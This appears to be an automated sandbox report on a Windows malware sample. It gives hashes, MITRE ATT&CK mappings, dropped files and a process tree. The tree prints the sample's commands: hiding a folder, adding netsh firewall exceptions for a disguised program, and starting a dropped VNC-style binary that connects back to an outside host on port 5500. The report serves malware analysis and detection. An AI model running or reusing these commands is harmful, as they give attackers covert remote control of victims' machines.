bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 21:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe
Size 3.2MB
Sample260604-z2fc2sft3z
SHA256 bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764
MD5 6aab2d9dbb3d3a7f1814e3d2d8e6ee79
SHA1 5f296a4199a157cd5f50ccb0d0196c36c2e08c8a
SHA512 2d17dcc64173e29f7d3b9381fa833a604ac8635caf500ff092e606ea60422cac91ed7a4d4797563368a720bae46d1119b2f800ea26065135772073dcf479a5a8
SSDEEP 49152:3E3wYEMp0BCdy88Z/1IZHKV/ktlvnjJtEtj5DuLj3aEhJphXXXq:3fcp8CdyQqMtlvnjJtEtVuLThJO
TLSH
T11CF539149B1631B1E486D3B1085EC020D87D7ECE9ABB3C50FC68EBD6119AF159AD33B6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3756	netsh.exe
3464	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
4540	ebi.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 5 IoCs

defense_evasion

pid	Process
2080	timeout.exe
5740	timeout.exe
5168	timeout.exe
584	timeout.exe
5296	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
2124	taskkill.exe
5224	taskkill.exe
3924	taskkill.exe
2780	taskkill.exe
1720	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4540	ebi.exe
4540	ebi.exe
4540	ebi.exe
4540	ebi.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	taskkill.exe
Token: SeDebugPrivilege	2124	taskkill.exe
Token: SeDebugPrivilege	5224	taskkill.exe
Token: SeDebugPrivilege	3924	taskkill.exe
Token: SeDebugPrivilege	2780	taskkill.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4540	ebi.exe
4540	ebi.exe
4540	ebi.exe
4540	ebi.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4540	ebi.exe
4540	ebi.exe
4540	ebi.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 6064 wrote to memory of 2944	6064	bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe	79
PID 6064 wrote to memory of 5500	6064	bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe	81
PID 5500 wrote to memory of 5096	5500	cmd.exe	83
PID 5500 wrote to memory of 1060	5500	cmd.exe	84
PID 1060 wrote to memory of 3824	1060	cmd.exe	86
PID 1060 wrote to memory of 5048	1060	cmd.exe	87
PID 1060 wrote to memory of 1644	1060	cmd.exe	88
PID 1644 wrote to memory of 4428	1644	cmd.exe	89
PID 1060 wrote to memory of 3884	1060	cmd.exe	90
PID 1060 wrote to memory of 3880	1060	cmd.exe	91
PID 3880 wrote to memory of 4184	3880	cmd.exe	92
PID 3880 wrote to memory of 3756	3880	cmd.exe	93
PID 3880 wrote to memory of 3464	3880	cmd.exe	94
PID 3880 wrote to memory of 4540	3880	cmd.exe	95
PID 1060 wrote to memory of 2080	1060	cmd.exe	96
PID 1060 wrote to memory of 1720	1060	cmd.exe	97
PID 1060 wrote to memory of 5740	1060	cmd.exe	99
PID 1060 wrote to memory of 2124	1060	cmd.exe	100
PID 1060 wrote to memory of 5168	1060	cmd.exe	101
PID 1060 wrote to memory of 5224	1060	cmd.exe	102
PID 1060 wrote to memory of 584	1060	cmd.exe	103
PID 1060 wrote to memory of 3924	1060	cmd.exe	104
PID 1060 wrote to memory of 5296	1060	cmd.exe	105
PID 1060 wrote to memory of 2780	1060	cmd.exe	106

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5096	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe
"C:\Users\Admin\AppData\Local\Temp\bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6064
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\i6.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2944
- C:\Windows\system32\cmd.exe
  "C:\Windows\Sysnative\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\wtmpd\t31252.bat "C:\Users\Admin\AppData\Local\Temp\bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5500
- - C:\Windows\system32\attrib.exe
    attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
    3⤵
    - Views/modifies file attributes
    PID:5096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\ebi\ebi.cmd"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\system32\mode.com
      Mode 90,20
      4⤵
      PID:3824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
      4⤵
      PID:5048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1644
    - - C:\Windows\system32\reg.exe
        
        Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
        5⤵
        
        PID:4428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\ebi\ebi.txt"
      4⤵
      PID:3884
  - - C:\Windows\system32\cmd.exe
      cmd
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3880
    - - C:\Windows\system32\mode.com
        
        Mode 90,20
        5⤵
        
        PID:4184
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall add allowedprogram program="C:\adobereader1\adobereader1.exe" name="MyApplication" mode=ENABLE scope=ALL
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3756
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall add allowedprogram program="C:\adobereader1\adobereader1.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3464
    - - C:\ebi\ebi.exe
        
        C:\ebi\ebi.exe -autoreconnect ID:5543754 -connect hallonews.servemp3.com:5500 -run
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4540
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2080
  - - C:\Windows\system32\taskkill.exe
      taskkill /im rundll32.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1720
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5740
  - - C:\Windows\system32\taskkill.exe
      taskkill /im rundll32.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2124
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5168
  - - C:\Windows\system32\taskkill.exe
      taskkill /im rundll32.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5224
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:584
  - - C:\Windows\system32\taskkill.exe
      taskkill /im rundll32.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3924
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5296
  - - C:\Windows\system32\taskkill.exe
      taskkill /im rundll32.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Delete.cmd

Path C:\Users\Admin\AppData\Local\Temp\afolder\Delete.cmd
Size 171B
SHA256 fd3e438e176395dae5299bf67c8acaab87f012da78b92adf071f465ebc6c50db
MD5 67bd89d703d03fbfed4b7410be50c1e5
SHA1 6a0c6fb43fd84150a44617f15a36092571bc813a
SHA512 7957027fec8fa4f463ba0b095d5f02434d3756a46cf4e787669a6dc6d9ad17af5aed1158498654fb21d1e84a02177baa20a639d68e9fb517363f8b3c38d46de7
TLSH
T19AC08C00FF6D6000AAE0B782C84B291E3BF5825E3052DA801147B020BE63AE7824D3FB
MD5 SHA1 SHA512 TLSH

Submit Download

Passport.jpg

Path C:\Users\Admin\AppData\Local\Temp\afolder\Passport.jpg
Size 41KB
SHA256 2451c9e19145e5126b6877647a5ce4a44c9d58810276b30f88c3a5ea1f4de7fd
MD5 7fa366b1edfab3cd59545fdf45137b3d
SHA1 132bbd5ab15309e1346c2740a07523f2073ceada
SHA512 6db56cf3b494a6baed54f04bf281229e0b11ae59cf3b2435f1a96d0e3340428a94493a2208efc18e1bcbaf3a6d3034cc631f314d5c5c6a5c7a6996faab164223
SSDEEP 768:5IMSB6obrdRs0ImAcwf9pB5T/ySMGC1G5JsEBzz7A321EhO2:JLaXQz5Tf9CyJskvAG1EhO2
TLSH
T18713F1D8DB21460FF9CF1E32A2CEB622E6E22517303B794790D366DF44687DE065171A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SilentRun.vbs

Path C:\Users\Admin\AppData\Local\Temp\afolder\SilentRun.vbs
Size 91B
SHA256 333a77352d32a53c602fd267d9bce600ab5ce7f09b9c2ccf86c0f2d65c14c129
MD5 ed8585620862f6fdd2bada24496b1440
SHA1 cb46c8b71de6bcaf00b1ded76cb32f3459e3b031
SHA512 ee9adae7850627122a4abd1ccc91196cae2d267053b780b45ba6c7eb642c06f5691907c957d016c52a8c9406a4e6b33303b20d440f253b625f9014c7f581f959
TLSH
T19FB01216D42EC859280BD5D02121501C4ED0BB90102248315601C44573152501307002
MD5 SHA1 SHA512 TLSH

Submit Download

UltraVNC.ini

Path C:\Users\Admin\AppData\Local\Temp\afolder\UltraVNC.ini
Size 1KB
SHA256 6f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d
MD5 b9dfbea744cc6c65473a97f2b959e44c
SHA1 c022f1d97fa56d61ad935aafa4e9e59e611e746a
SHA512 b92c8ea3583eb87f365b96cd45562cac2c4343e281c5090fc00db3f03bb5538a2d8aea3c39449d8d79cad31ed3692f6045266811d50fdd69807d8b12a9649eb5
TLSH
T1332133025B25ACED0475F575D5F241D030C28E1AD264E528A2865EBEDCC8313333D1E7
MD5 SHA1 SHA512 TLSH

Submit Download

ebi.cmd

Path C:\Users\Admin\AppData\Local\Temp\afolder\ebi.cmd
Size 1KB
SHA256 925136b131e39a9416092b7686e9baf5f877b9b3f7a24f824b70099276e3882d
MD5 0baca16c6e1d9b41a20cad450257bab1
SHA1 0d8398edc395ef85f07ff579a585e64bc30a26fc
SHA512 8235c194d9d76f760108005041d9105b1baf3f69c797dfc3c7cdb03d61c3271e47447d38669621ab0d5ecac57506bf44d5881c30654f0ac500ea087d475706a9
TLSH
T1C621D0008697D504EEB061E088F1A129F74EF0733BABD15D391E1A867F7C180B6C63EA
MD5 SHA1 SHA512 TLSH

Submit Download

ebi.exe

Path C:\Users\Admin\AppData\Local\Temp\afolder\ebi.exe
Size 3.0MB
SHA256 b7dbab109e5bf3afffba5571366602154f3ea37053ec210dd3e030d0fcb2dbaa
MD5 d6829f4abe09dba254d560f91f56f83b
SHA1 72230761f27a0d8482c795b1101887cac7acb9d8
SHA512 3e4d1ae1572352c4e568687722d0033d472187889189bf09d62213ec81518078a4c058b60abf8a791ac376b197b8b8827f128655185869f4ea0dd718cbf0540d
SSDEEP 49152:2FilJpFDSfJ7nvNgzcEnl99Ia3DjZbZdKwmrUIAUA/Jo9:3nDSgl53DtBG9
TLSH
T186E55B42BA51989AD3A38474CC16CA72D7723C1D03F646B771E4BED77B3BA913926302
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebi.txt

Path C:\Users\Admin\AppData\Local\Temp\afolder\ebi.txt
Size 1KB
SHA256 7c7784e4ed8be0807c581e556538ac9a35bbb7b2373f73497c6a305112f209d4
MD5 bf5a23fd642aeef02e1eed2f4ef8c0ea
SHA1 1d544933a53487603194efd52592e739b410a075
SHA512 23044f72502a74381c21f20fabe17a5e37db05ce41c28304d0e3958a4582ee8b288327c6d21d6d54fc656f7e0c8af69aea82ed2ba52faff6fc7117609fab735d
TLSH
T16611FC45890C54009B709B20A9E28912F25DE047B43D91CD3F5E668FEB3A7CAA1AA1C7
MD5 SHA1 SHA512 TLSH

Submit Download

i6.bat

Path C:\Users\Admin\AppData\Local\Temp\i6.bat
Size 173B
SHA256 941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b
MD5 0f8f70e88009593eefaa155a8e31b1d6
SHA1 eabcc3f2135e0919e9456da0a4b1084f3382d4b6
SHA512 94df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750
TLSH
T1F9C01211A349C50854C4362F157250CDA17E048A65F1EF500B51C45999C2558E7E5212
MD5 SHA1 SHA512 TLSH

Submit Download

i6.f

Path C:\Users\Admin\AppData\Local\Temp\i6.f
Size 32B
SHA256 2e340d2b9ced6ad419c031400fb974feed427cfabd0c167dea26ec732d8579be
MD5 d406619e40f52369e12ae4671b16a11a
SHA1 9c5748148612b1eefaacf368fbf5dbcaa8dea6d0
SHA512 4d9792a6427e4a48553318b4c2bac19ff729a9c0a635bc9196c33d2be5d1a224d1bac30da5f881bad6340b0235894ff020f32061a64125629848e21c879c5264
MD5 SHA1 SHA512

Submit Download

i6.t

Path C:\Users\Admin\AppData\Local\Temp\i6.t
Size 3B
SHA256 f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
MD5 a5ea0ad9260b1550a14cc58d2c39b03d
SHA1 f0aedf295071ed34ab8c6a7692223d22b6a19841
SHA512 7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74
MD5 SHA1 SHA512

Submit Download

t31252.bat

Path C:\Users\Admin\AppData\Local\Temp\wtmpd\t31252.bat
Size 1KB
SHA256 7597ae895f71128a6d01871ed59109d27e03f819f26e98f6ee36a68aa5ed7e29
MD5 f2d01859fd53faf04dfdf568ea5e87d6
SHA1 194a48044742f6842efdf1e2e6abf49776ec0fab
SHA512 e6ea0e8cda44c48936f740e9ef7ad6824f6569caeaaff2940b73e0d8d7b626db6285adce436135a4992613d75a456b263aaa87c791f364fd7f17041dff86806e
TLSH
T19521E14213CBAF242015AE82164A35BFC7142DCC83A7A7445D0240DEBB63B5C324F39C
MD5 SHA1 SHA512 TLSH

Submit Download